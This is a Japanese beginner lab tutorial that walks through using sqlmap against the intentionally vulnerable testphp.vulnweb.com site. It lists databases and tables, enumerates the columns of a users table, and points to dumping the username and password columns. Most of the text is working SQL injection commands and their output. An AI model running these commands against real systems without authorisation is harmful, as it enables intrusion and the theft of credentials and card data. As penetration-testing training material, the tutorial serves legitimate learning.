sqlmap で特定のテーブルからカラムを列挙する

Beginner
オンラインで実践に進む

はじめに

この実験 (Lab) では、データベース内の特定のテーブルからカラム名とそのデータ型を列挙するために sqlmap を使用する方法を学びます。sqlmap は、SQL インジェクションの脆弱性を検出し、悪用するプロセスを自動化し、データベースサーバーを乗っ取るためのオープンソースのペネトレーションテストツールです。カラムの列挙方法を理解することは、データベースの悪用において重要なステップであり、機密情報を正確にターゲットにして抽出することを可能にします。ここでは、ターゲットテーブルを指定するための -T フラグと、そのカラムをリストするための --columns フラグに焦点を当てます。

列挙対象のデータベースとテーブルの選択

このステップでは、列挙したいカラムを持つ特定のデータベースと、その中の特定のテーブルを仮想的に特定します。この実験 (Lab) の目的のために、脆弱な URL と users という名前のテーブルを含む testdb という名前のデータベースを既に特定したと仮定します。

まず、sqlmap がシステムで利用可能であることを確認します。利用できない場合は、apt を使用してインストールできます。

sudo apt update
sudo apt install -y sqlmap

次に、脆弱なターゲットをシミュレートします。デモンストレーション目的でダミーの URL を使用します。実際のシナリオでは、これは SQL インジェクションに対して脆弱な URL になります。

この実験 (Lab) では、次のプレースホルダー URL を使用します:http://testphp.vulnweb.com/listproducts.php?cat=1。これはテストによく使用される既知の脆弱なターゲットです。acuart という名前のデータベースと、その中の users という名前のテーブルを既に特定したと仮定します。私たちの目標は、users テーブルからカラムを列挙することです。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

acuart を含むデータベースのリストが表示されるはずです。これにより、ターゲットにアクセス可能であり、sqlmap が対話できることが確認されます。

...
[INFO] すべてのデータベースのデータを取得しました
利用可能なデータベース [2]:
[*] acuart
[*] information_schema
...

次に、acuart データベース内のテーブルを確認しましょう。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

users を含むテーブルのリストが表示されるはずです。

...
[INFO] データベース 'acuart' のすべてのテーブルのデータを取得しました
データベース: acuart
[10 テーブル]
+------------+
| artists    |
| carts      |
| categories |
| guestbook  |
| pictures   |
| products   |
| users      |
| ...        |
+------------+
...

これにより、ターゲット上に acuart データベースと users テーブルが存在することが確認されます。

-T フラグを使用してテーブルを指定する

このステップでは、カラムを列挙したいターゲットテーブルを指定するために sqlmap-T フラグを使用する方法を学びます。-T フラグは、-D フラグ(データベース用)と組み合わせて使用され、列挙の範囲を絞り込みます。

テーブルを指定するための基本的な構文は次のとおりです。 sqlmap -u <ターゲットURL> -D <データベース名> -T <テーブル名> [その他のオプション]

前のステップから引き続き、データベース acuart とテーブル users を特定しました。次に、この特定のテーブルをターゲットにするための sqlmap コマンドを準備します。まだ完全な列挙は実行せず、コマンドを構築します。

ターミナルで ~/project ディレクトリを開きます。

echo 'sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users' > command_part1.txt
cat command_part1.txt

このコマンドは、sqlmap コマンドの最初の部分を command_part1.txt という名前のファイルに保存し、その内容を表示します。これは、複雑なコマンドを段階的に構築するのに役立ちます。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users

-D acuart -T users を使用することで、sqlmap に対して、acuart データベース内の users テーブルに操作を限定するように指示しています。これは、効率的でターゲットを絞った列挙にとって重要です。

--columns フラグを使用してカラムを一覧表示する

このステップでは、--columns フラグを紹介します。これは、指定されたテーブル内のカラム名とそのデータ型を列挙するように sqlmap に指示するために使用されます。このフラグは、テーブルの構造を理解し、データ抽出のために興味深い可能性のあるカラムを特定するために不可欠です。

--columns フラグは、前のステップで構築を開始したコマンドに追加されます。

完全な構文は次のようになります。 sqlmap -u <ターゲットURL> -D <データベース名> -T <テーブル名> --columns

コマンドに --columns フラグを追加しましょう。

echo ' --columns' >> command_part1.txt
cat command_part1.txt

これで、command_part1.txt ファイルには、users テーブルからカラムを列挙するための完全な sqlmap コマンドが含まれるはずです。

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

--columns フラグは、sqlmap に対して特定の種類の列挙を実行するように指示します。つまり、ターゲットテーブル内の利用可能なすべてのカラムを一覧表示します。これは、データベーススキーマをマッピングするのに役立つ強力な機能です。

カラムを列挙するためのコマンドを実行する

このステップでは、前のステップで構築した完全な sqlmap コマンドを実行します。このコマンドは、sqlmap に対してターゲット URL に接続し、acuart データベースを特定し、users テーブルをターゲットにし、そのテーブル内のすべてのカラムを列挙するように指示します。

~/project ディレクトリにいることを確認してください。

bash command_part1.txt

実行すると、sqlmap は処理を開始します。処理中に、特定のペイロードを使用するかどうか、またはデフォルトオプションで続行するかどうかなど、いくつかの質問をされる場合があります。この実験では、通常、デフォルトの選択を受け入れるには Enter を押すか、プロンプトが表示された場合は y を押して「はい」を選択します。

...
[INFO] database 'acuart' のテーブル 'users' の全カラムのデータを取得しました
Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+
...

出力には、users テーブルで見つかったカラム名とその対応するデータ型を一覧表示するテーブルが表示されます。これがこの実験の主な目的です。

カラム名とそのデータ型を確認する

この最終ステップでは、前のステップで実行した sqlmap コマンドの出力を確認します。列挙されたカラム名とそのデータ型を理解することは、さらなる悪用や分析のために非常に重要です。

前のコマンドの出力を確認してください。以下のようなテーブルが表示されるはずです。

Database: acuart
Table: users
[7 columns]
+----------+-----------+
| Column   | Type      |
+----------+-----------+
| email    | varchar(50) |
| uname    | varchar(20) |
| pass     | varchar(20) |
| cc       | varchar(20) |
| address  | varchar(50) |
| name     | varchar(50) |
| phone    | varchar(20) |
+----------+-----------+

この出力から、いくつかの重要なカラムを特定できます。

  • email: ユーザーのメールアドレスが格納されている可能性が高いです。
  • uname: ユーザー名が格納されている可能性が高いです。
  • pass: ユーザーのパスワード(またはパスワードハッシュ)が格納されている可能性が高いです。
  • cc: クレジットカード情報が格納されている可能性があります。
  • address: ユーザーのアドレスが格納されています。
  • name: ユーザーのフルネームが格納されています。
  • phone: ユーザーの電話番号が格納されています。

Type カラムは、各カラムのデータ型を示しています(例:varchar(50) は最大 50 文字の可変長文字列を意味します)。この情報は、-C フラグを使用して特定のカラムからデータをダンプするなど、後続の sqlmap コマンドを作成する上で不可欠です。例えば、ユーザー名とパスワードをダンプするには、-C uname,pass --dump を使用します。

このステップで、sqlmap を使用して特定のテーブルからカラムを列挙するプロセスは完了です。これで、特定のテーブルをターゲットにし、そのカラム構造を取得する方法を明確に理解できました。

まとめ

この実験では、sqlmap を使用して特定のテーブルからカラムを列挙する方法を学びました。ターゲットとなるデータベースとテーブルを特定し、-D (データベース)、-T (テーブル)、--columns フラグを使用して段階的に sqlmap コマンドを構築しました。最後に、コマンドを実行して出力を確認し、列挙されたカラム名とそのデータ型の重要性を理解しました。このスキルは、データベースのペネトレーションテストやセキュリティ評価を行う上で不可欠であり、機密データを効果的に抽出するために必要な情報を提供します。